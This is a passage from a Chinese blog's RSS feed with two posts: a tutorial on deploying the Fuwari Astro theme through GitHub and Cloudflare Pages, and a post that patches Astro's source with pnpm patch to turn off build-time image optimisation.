&lt;p&gt;一个 &lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt; 账号：用于创建仓库并托管 Fuwari 项目文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个 &lt;a href=&quot;https://cloudflare.com&quot;&gt;Cloudflare&lt;/a&gt; 账号：用于创建 Pages 项目并绑定域名。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/posts/obsidian/&quot;&gt;黑曜石（Obsidian）&lt;/a&gt;：这是一个可视化 Markdown 编辑器。由于 Fuwari 的文章和页面都以 Markdown 文件保存，准备一个顺手的编辑器会方便很多。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;需要会一些基础的 Markdown 语法。如果暂时不熟悉，可以先看这个教程：&lt;a href=&quot;https://markdown.com.cn/basic-syntax/&quot;&gt;Markdown 基本语法 | Markdown 官方教程&lt;/a&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;流程图&lt;/h3&gt;
&lt;p&gt;本地部署Fuwari，编写文章 -&amp;gt; 推送更改到远程Github仓库 -&amp;gt; Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -&amp;gt; 网站成功更改&lt;/p&gt;
&lt;h3&gt;让我们开始吧&lt;/h3&gt;
&lt;h4&gt;首先，在本地部署 Fuwari&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fork仓库：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;https://github.com/saicaca/fuwari&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你不熟悉 Fork 仓库的流程，可以参考下面的图片教程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-12-15-44-image.DiFjLDIf.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-12-17-03-image.6e1N7Q61.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后将仓库克隆到本地：&lt;code&gt;git clone &amp;lt;你的仓库URL&amp;gt;&lt;/code&gt;。如果可以使用 SSH，后续推送通常会更方便。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;先全局安装 &lt;code&gt;pnpm&lt;/code&gt;：&lt;code&gt;npm install -g pnpm&lt;/code&gt;。如果 npm 在国内下载较慢，可以尝试切换镜像源，例如 &lt;a href=&quot;https://npmmirror.com/&quot;&gt;npmmirror 镜像站&lt;/a&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着在项目根目录安装依赖：&lt;code&gt;pnpm install&lt;/code&gt; 和 &lt;code&gt;pnpm add sharp&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完成以上步骤后，Fuwari 就已经成功部署到本地了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]&lt;/p&gt;
&lt;p&gt;你也可以使用创建一个新的空仓库然后手动上传文件，并且可以将仓库可见性设为：Private&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;改写Fuwari的基本信息并且清理多余文件&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;刚创建的 Fuwari 可能带有默认的博主名称、图标、链接、简介和示例文章。为了让站点更符合你的使用场景，建议先把这些内容改成自己的信息。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在根目录的 &lt;code&gt;src&lt;/code&gt; 文件夹中找到 &lt;code&gt;config.ts&lt;/code&gt;，这里是站点的核心配置文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;title：你的博客主标题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;subtitle：你的博客副标题。可选，在首页会显示为“主标题 - 副标题”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;lang：博客显示语言。注释里已经列出了一些常见值，例如 &lt;code&gt;en&lt;/code&gt;、&lt;code&gt;zh_CN&lt;/code&gt;、&lt;code&gt;zh_TW&lt;/code&gt;、&lt;code&gt;ja&lt;/code&gt;、&lt;code&gt;ko&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;themeColor：&lt;code&gt;hue&lt;/code&gt; 表示博客主题色。你可以先在博客右上角的调色板里挑选喜欢的颜色，再把数值写回配置中。&lt;img src=&quot;https://2x.nz/_astro/2024-10-15-09-16-30-image.B7b2-oo_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;banner：src：即banner图片，支持http/https URL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;favicon：src：即网站图标，支持http/https URL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;links：即友情链接，这些链接在导航栏上&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;avatar：你的头像&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;name：你的名字&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bio：个性签名，会显示在头像和名字下方&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;NavBarConfig&lt;/code&gt; 用于配置导航栏链接，&lt;code&gt;ProfileConfig&lt;/code&gt; 用于配置个人资料区域的链接，效果如下图所示。&lt;img src=&quot;https://2x.nz/_astro/2024-10-15-17-49-30-image.jA7cnC2w.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;icon：你可以前往 &lt;a href=&quot;https://icones.js.org/&quot;&gt;icones.js&lt;/a&gt; 搜索想要的图标。例如 QQ 可以填写 &lt;code&gt;fa6-brands:qq&lt;/code&gt;。Fuwari 默认支持 &lt;code&gt;fa6-brands&lt;/code&gt;、&lt;code&gt;fa6-regular&lt;/code&gt;、&lt;code&gt;fa6-solid&lt;/code&gt;、&lt;code&gt;material-symbols&lt;/code&gt; 等类型，必要时也可以在 &lt;code&gt;astro.config.mjs&lt;/code&gt; 中继续扩展。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/1ef05530-10fd-4301-af4e-21ddadf18605.DiQFZb7V.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/da94494b-cc4b-4f07-ae95-8bf3b2f95d3c.CKLn9Trm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里我附上我的 &lt;code&gt;config.ts&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;import type {
  LicenseConfig,
  NavBarConfig,
  ProfileConfig,
  SiteConfig,
} from &apos;./types/config&apos;
import { LinkPreset } from &apos;./types/config&apos;

export const siteConfig: SiteConfig = {
  title: &apos;AcoFork Blog&apos;,
  subtitle: &apos;爱你所爱！&apos;,
  lang: &apos;zh_CN&apos;,         // &apos;en&apos;, &apos;zh_CN&apos;, &apos;zh_TW&apos;, &apos;ja&apos;, &apos;ko&apos;
  themeColor: {
    hue: 355,         // Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345
    fixed: false,     // Hide the theme color picker for visitors
  },
  banner: {
    enable: true,
    src: &apos;https://eo-r2.2x.nz/myblog/img/222.webp&apos;,   // Relative to the /src directory. Relative to the /public directory if it starts with &apos;/&apos;
    position: &apos;center&apos;,      // Equivalent to object-position, only supports &apos;top&apos;, &apos;center&apos;, &apos;bottom&apos;. &apos;center&apos; by default
    credit: {
      enable: false,         // Display the credit text of the banner image
      text: &apos;&apos;,              // Credit text to be displayed
      url: &apos;&apos;                // (Optional) URL link to the original artwork or artist&apos;s page
    }
  },
  favicon: [    // Leave this array empty to use the default favicon
     {
       src: &apos;https://q2.qlogo.cn/headimg_dl?dst_uin=2973517380&amp;amp;spec=5&apos;,    // Path of the favicon, relative to the /public directory
       //theme: &apos;light&apos;,              // (Optional) Either &apos;light&apos; or &apos;dark&apos;, set only if you have different favicons for light and dark mode
       sizes: &apos;128x128&apos;,              // (Optional) Size of the favicon, set only if you have favicons of different sizes
     }
  ]
}

export const navBarConfig: NavBarConfig = {
  links: [
    LinkPreset.Home,
    LinkPreset.Archive,
    LinkPreset.About,
    {
      name: &apos;随机图&apos;,
      url: &apos;https://pic.onani.cn&apos;,     // Internal links should not include the base path, as it is automatically added
      external: true,                               // Show an external link icon and will open in a new tab
    },
    {
      name: &apos;GitHub&apos;,
      url: &apos;https://github.com/saicaca/fuwari&apos;,     // Internal links should not include the base path, as it is automatically added
      external: true,                               // Show an external link icon and will open in a new tab
    },
  ],
}

export const profileConfig: ProfileConfig = {
  avatar: &apos;https://eo-r2.2x.nz/myblog/img/111.webp&apos;,  // Relative to the /src directory. Relative to the /public directory if it starts with &apos;/&apos;
  name: &apos;二叉树树&apos;,
  bio: &apos;Protect What You Love./爱你所爱！&apos;,
  links: [
    // {
      // name: &apos;Twitter&apos;,
      // icon: &apos;fa6-brands:twitter&apos;,       // Visit https://icones.js.org/ for icon codes
                                        // You will need to install the corresponding icon set if it&apos;s not already included
                                        // `pnpm add @iconify-json/&amp;lt;icon-set-name&amp;gt;`
      // url: &apos;https://twitter.com&apos;,
    // },
    // {
      // name: &apos;Steam&apos;,
      // icon: &apos;fa6-brands:steam&apos;,
      // url: &apos;https://store.steampowered.com&apos;,
    // },
    {
      name: &apos;GitHub&apos;,
      icon: &apos;fa6-brands:github&apos;,
      url: &apos;https://github.com/afoim&apos;,
    },
    {
      name: &apos;QQ&apos;,
      icon: &apos;fa6-brands:qq&apos;,
      url: &apos;https://qm.qq.com/q/Uy9kmDXHYO&apos;,
    },
    {
      name: &apos;Email&apos;,
      icon: &apos;fa6-solid:envelope&apos;,
      url: &apos;mailto:email@example.com&apos;,
    },
  ],
}

export const licenseConfig: LicenseConfig = {
  enable: true,
  name: &apos;CC BY-NC-SA 4.0&apos;,
  url: &apos;https://creativecommons.org/licenses/by-nc-sa/4.0/&apos;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;清理多余文件。根目录下的 &lt;code&gt;src/content/posts&lt;/code&gt; 文件夹里会带有一些示例文章，这些内容主要用于演示 Markdown 语法和 Fuwari 的基本用法。你可以先备份到别处，再按需删除。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完成这些设置后，就可以开始撰写自己的文章了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;让我们开始写作！&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;推荐使用 &lt;a href=&quot;/posts/obsidian/&quot;&gt;黑曜石（Obsidian）&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先，在项目根目录执行：&lt;code&gt;pnpm new-post &amp;lt;这里填写你的文章标题&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后，在根目录下的 &lt;code&gt;src/content/posts&lt;/code&gt; 文件夹中会多出一个 &lt;code&gt;xxx.md&lt;/code&gt;文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用 MarkText 打开这个文件后，你会看到一组基础元数据，其中有几项最需要关注。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;title: xxx
published: 2024-10-14
description: &apos;&apos;
image: &apos;&apos;
tags: []
categories: &apos;&apos;
draft: false 
lang: &apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;title：文章标题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;published：文章创建时间&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;description：文章描述，正常会显示在文章标题下面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;image：文章封面图（同目录需要写 &lt;code&gt;./&lt;/code&gt; 如：&lt;code&gt;./https://eo-r2.2x.nz/myblog/img/2024-10-14-11-33-28-image.webp&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tag：文章标签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;categories：文章分类&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;还需要修改根目录下的 &lt;code&gt;astro.config.mjs&lt;/code&gt;，把其中的 &lt;code&gt;site:&lt;/code&gt; 改成你自己的站点 URL，例如：&lt;code&gt;site: &quot;https://onani.cn&quot;,&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你想在 Markdown 文章里方便地插入图片，也可以顺手把编辑器配置好。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这并不复杂。借助 MarkText，可以像使用传统博客编辑器一样直接复制粘贴图片，不过需要先做一点简单配置：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;依次点击 MarkText 左上角菜单 -&amp;gt; &lt;code&gt;File&lt;/code&gt; -&amp;gt; &lt;code&gt;Preferences&lt;/code&gt; -&amp;gt; 左侧 &lt;code&gt;Image&lt;/code&gt; 分类，然后按照下图进行设置。注意把第一个选项改成以 &lt;code&gt;Copy&lt;/code&gt; 开头的模式，开启 &lt;code&gt;Prefer&lt;/code&gt; 开关，并在上下两个文本框中分别填写绝对路径和相对路径。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-12-54-21-image.1WbadxFk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这样一来，插入图片时就会先把图片复制到 &lt;code&gt;https://eo-r2.2x.nz/myblog/img&lt;/code&gt; 对应的位置，再自动以 &lt;code&gt;![1](https://eo-r2.2x.nz/myblog/img/1.webp)&lt;/code&gt; 这样的格式写入 Markdown 文件。你只需要复制粘贴，剩下的步骤 MarkText 会自动完成。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;配置完成后，你就可以比较高效地用 MarkText 编写 Markdown 博文了。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;本地预览，然后发布到Github&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;当你觉得文章写得差不多时，可以在项目根目录执行：&lt;code&gt;pnpm dev&lt;/code&gt;。稍等片刻后，就能在本地预览博客效果。&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-13-03-44-image.Bx8OmOJs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来就可以使用 Git 把这些改动发布到 GitHub。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，让 Git 知道你是谁：&lt;code&gt;git config --global user.name &quot;你的GitHub用户名&quot;&lt;/code&gt; 和 &lt;code&gt;git config --global user.email &quot;你的GitHub邮箱@example.com&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后，将远程仓库地址改成 SSH 形式（如果你本来就是通过 SSH 克隆的，就不需要再修改）：&lt;code&gt;git remote set-url origin git@github.com:xxx/xxx&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后，提交所有变更：&lt;code&gt;git add .&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着，创建一次本地提交：&lt;code&gt;git commit -m &quot;项目初始化&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后，把本地更改推送到远程仓库：&lt;code&gt;git push&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;完成后，你的 GitHub 仓库里就应该能看到新的提交记录了。&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-13-10-12-image.BiZikCas.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;让Cloudflare连接上Github，使用Pages服务展示你的博客（FREE！）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往Cloudflare的 Workers 和 Pages 页面，创建一个新Pages&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-13-14-28-image.xe98wwFT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后选择连接Git存储库，连接你的Github，随后设置构建命令：&lt;code&gt;pnpm build&lt;/code&gt;  ，然后设置构建输出目录：&lt;code&gt;dist&lt;/code&gt; ，如图&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-13-16-15-image.DwUlClHu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绑定自定义域，访问自定义域即可访问你的博客！&lt;img src=&quot;https://2x.nz/_astro/2024-10-14-13-17-00-image.BTLdGL7N.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后，你只需要在本地编写文章，然后&lt;a href=&quot;#%E6%9C%AC%E5%9C%B0%E9%A2%84%E8%A7%88%E7%84%B6%E5%90%8E%E5%8F%91%E5%B8%83%E5%88%B0github&quot;&gt;使用Git将更改推送到远程仓库&lt;/a&gt;，Cloudflare就会自动部署，更新你的博客！&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>禁用Astro跟弱智一般的静态构建图像优化</title><link>https://2x.nz/posts/disable-astro-generating-optimized-images/</link><guid isPermaLink="true">https://2x.nz/posts/disable-astro-generating-optimized-images/</guid><description>折腾了整整一天，终于解决了这傻逼Astro对于静态构建自作聪明的图片优化了，这不仅能提高构建速度，还可以减少无谓的CPU资源消耗，更环保，也更符合Unix哲学</description><pubDate>Tue, 09 Sep 2025 22:16:30 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频： &lt;a href=&quot;https://www.bilibili.com/video/BV12VH2z1EDb&quot;&gt;禁用Astro跟弱智一般的静态构建图像优化_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;为什么要禁用图片优化？&lt;/h1&gt;
&lt;p&gt;下图是一个默认的Astro静态构建，也就是 &lt;code&gt;astro build&lt;/code&gt; 的输出，输出中记录了每张图片是如何被Astro “优化” 的。我们不难发现问题所在：&lt;/p&gt;
&lt;p&gt;压缩效果微乎其微，甚至有反向压缩。大部分图片仅压缩了几kb，但是为此需要花费 &lt;strong&gt;100-1000ms&lt;/strong&gt; 不等，甚至第12行出现了 &lt;code&gt;before: 26kb, after: 28kb&lt;/code&gt; 这样的反向压缩&lt;/p&gt;
&lt;p&gt;&lt;em&gt;为什么要浪费这么多的时间来进行±10kb左右的图片压缩呢？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-10-06-21-20-26ca667ff5c7024c12d7a8254f483b27.2epBepRU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;如何让Astro不”优化“图片？&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.astro.build/zh-cn/guides/images/&quot;&gt;图像 | Docs&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查阅 Astro 文档可知&lt;/p&gt;
&lt;p&gt;会被优化的情况：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;非 &lt;code&gt;/public&lt;/code&gt; 目录下的图片&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt; 等Astro图片组件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;任何MarkDown内的图片，除非你不走Astro内部的 MarkDown -&amp;gt; HTML 转换&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不难发现，我们似乎已经找到了一个折中的解决方案： &lt;strong&gt;将图片放置到 /public 目录&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;尝试将图片放置到 /public 目录（不完美）&lt;/h1&gt;
&lt;p&gt;这会遇到一个经典问题，这是我询问 OpenAI ChatGPT 的原话&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我遇到了一个两难的问题 我使用Astro 我的文章在./src/content/posts/xxx.md 我的图片之前在./src/content/assets/images/xxx.webp 由于我不想要Astro默认的图片优化，因为构建太慢了，于是我将图片放到了./public/assets/images/xxx.webp 然后我将MarkDown引用的图片从 ../assets/images/xxx.webp 改为了 ./public/assets/images/xxx.webp 但是现在新的问题出现了，我的MarkText（一个MarkDown编辑器）去寻找了 ./src/content/posts/public/assets/images/xxx.webp 导致我在编辑器中看不到任何图片 有没有什么好的解决方案？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;如果反其道而行之，使用类似 &lt;code&gt;../../../assets/images/xxx.webp&lt;/code&gt; 会导致部分组件无法获得真实图片，导致 &lt;code&gt;astro build&lt;/code&gt; 直接报错退出，比如每篇文章开头的 YAML 元数据中的 &lt;code&gt;image&lt;/code&gt; 字段&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论：&lt;/strong&gt; 该方案并不完美。要不无法即写即看，要不构建失败&lt;/p&gt;
&lt;h1&gt;尝试使用Astro官方提供的配置禁用图片优化（失败）&lt;/h1&gt;
&lt;p&gt;遇到Astro上的问题，首先就应该查询官方文档了解是否已有解决方案。通过文档查询，我找到了 &lt;a href=&quot;https://docs.astro.build/zh-cn/guides/images/#%E9%85%8D%E7%BD%AE-no-op-%E9%80%8F%E4%BC%A0%E6%9C%8D%E5%8A%A1&quot;&gt;图像 | Docs&lt;/a&gt; 中的 &lt;strong&gt;配置 no-op 透传服务&lt;/strong&gt; ，尝试配置，但是无用，不管是本地运行构建或Cloudflare Worker云端构建，仍然会触发 &lt;strong&gt;generating optimized images&lt;/strong&gt; 步骤&lt;/p&gt;
&lt;p&gt;&lt;em&gt;如果您了解如何在Astro的配置层面直接禁用图片优化，请联系我！我很乐意与您交流！&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-10-06-27-46-image.nm4RulP1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;尝试直接更改Astro源码来禁用图片优化（成功）&lt;/h1&gt;
&lt;p&gt;研究到这，大半天已经过去了，我已经没有精力去研究怎么 &lt;strong&gt;合法&lt;/strong&gt; 禁用Astro的图片优化了，不如单刀直入，直接改源码，使用 &lt;strong&gt;非法操作&lt;/strong&gt; 吧&lt;/p&gt;
&lt;p&gt;大致步骤，直接改Astro包的源码，然后用 &lt;code&gt;pnpm patch&lt;/code&gt; 为它打个补丁，下面是完整、可用的 &lt;code&gt;astro.patch&lt;/code&gt; 。全局禁用图片优化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/dist/assets/utils/transformToPath.js b/dist/assets/utils/transformToPath.js
index cca8548dec42090b0621d1f21c86f503d5bba1be..8b0a3cfcea73abc4d63592709bb9ba2b2f83989a 100644
--- a/dist/assets/utils/transformToPath.js
+++ b/dist/assets/utils/transformToPath.js
@@ -13,7 +13,9 @@ function propsToFilename(filePath, transform, hash) {
   }
   const prefixDirname = isESMImportedImage(transform.src) ? dirname(filePath) : &quot;&quot;;
   let outputExt = transform.format ? `.${transform.format}` : ext;
-  return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`);
+  
+  // Force disable image optimization - return original path without hash and format conversion
+  return decodeURIComponent(`${prefixDirname}/${filename}${ext}`);
 }
 function hashTransform(transform, imageService, propertiesToHash) {
   const hashFields = propertiesToHash.reduce(
diff --git a/dist/core/build/generate.js b/dist/core/build/generate.js
index 3144f4c058b161b9e6eb3c8d891b743b34783653..0ba275b320204e154307c6aff75452e9dcb2300d 100644
--- a/dist/core/build/generate.js
+++ b/dist/core/build/generate.js
@@ -91,7 +91,8 @@ ${bgGreen(black(` ${verb} static routes `))}`);
 `)
   );
   const staticImageList = getStaticImageList();
-  if (staticImageList.size) {
+  // Force disable image optimization - hardcoded
+  if (false) {
     logger.info(&quot;SKIP_FORMAT&quot;, `${bgGreen(black(` generating optimized images `))}`);
     const totalCount = Array.from(staticImageList.values()).map((x) =&amp;gt; x.transforms.size).reduce((a, b) =&amp;gt; a + b, 0);
     const cpuCount = os.cpus().length;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下文为我让OpenAI ChatGPT 5解释的已经禁用图片优化的补丁（&lt;code&gt;astro.patch&lt;/code&gt;）具体做了什么&lt;/p&gt;
&lt;h3&gt;修改点 1：&lt;code&gt;dist/assets/utils/transformToPath.js&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-  return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`);
+  
+  // Force disable image optimization - return original path without hash and format conversion
+  return decodeURIComponent(`${prefixDirname}/${filename}${ext}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;原逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;原本的返回路径是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{prefixDirname}/{filename}_{hash}.{format or ext}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;prefixDirname&lt;/code&gt;：如果图片是通过 ESM import 进来的，会带上所在目录，否则为空。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;filename&lt;/code&gt;：文件名。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hash&lt;/code&gt;：基于图片参数生成的 hash，用于区分不同尺寸/格式。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;outputExt&lt;/code&gt;：可能是 &lt;code&gt;webp&lt;/code&gt;、&lt;code&gt;avif&lt;/code&gt; 等格式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 这样 Astro 会给图片文件生成带 hash 的路径，并且可能修改格式。&lt;/p&gt;
&lt;h4&gt;修改后逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;返回路径改成了：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{prefixDirname}/{filename}{ext}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;直接使用原始扩展名，不带 hash，也不做格式转换。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ 作用：完全禁用图片优化的文件名规则，保留原始文件路径。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;修改点 2：&lt;code&gt;dist/core/build/generate.js&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-  if (staticImageList.size) {
+  // Force disable image optimization - hardcoded
+  if (false) {
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;原逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;staticImageList&lt;/code&gt; 存放了 Astro build 时需要优化的所有静态图片。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果有图片，Astro 会启动优化逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;打印日志 &lt;code&gt;&quot;generating optimized images&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;遍历 &lt;code&gt;staticImageList&lt;/code&gt;，并调用 image service 去生成不同尺寸和格式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;修改后逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;把 &lt;code&gt;if (staticImageList.size)&lt;/code&gt; 改成了 &lt;code&gt;if (false)&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这意味着 &lt;strong&gt;Astro 永远不会进入优化图片的流程&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
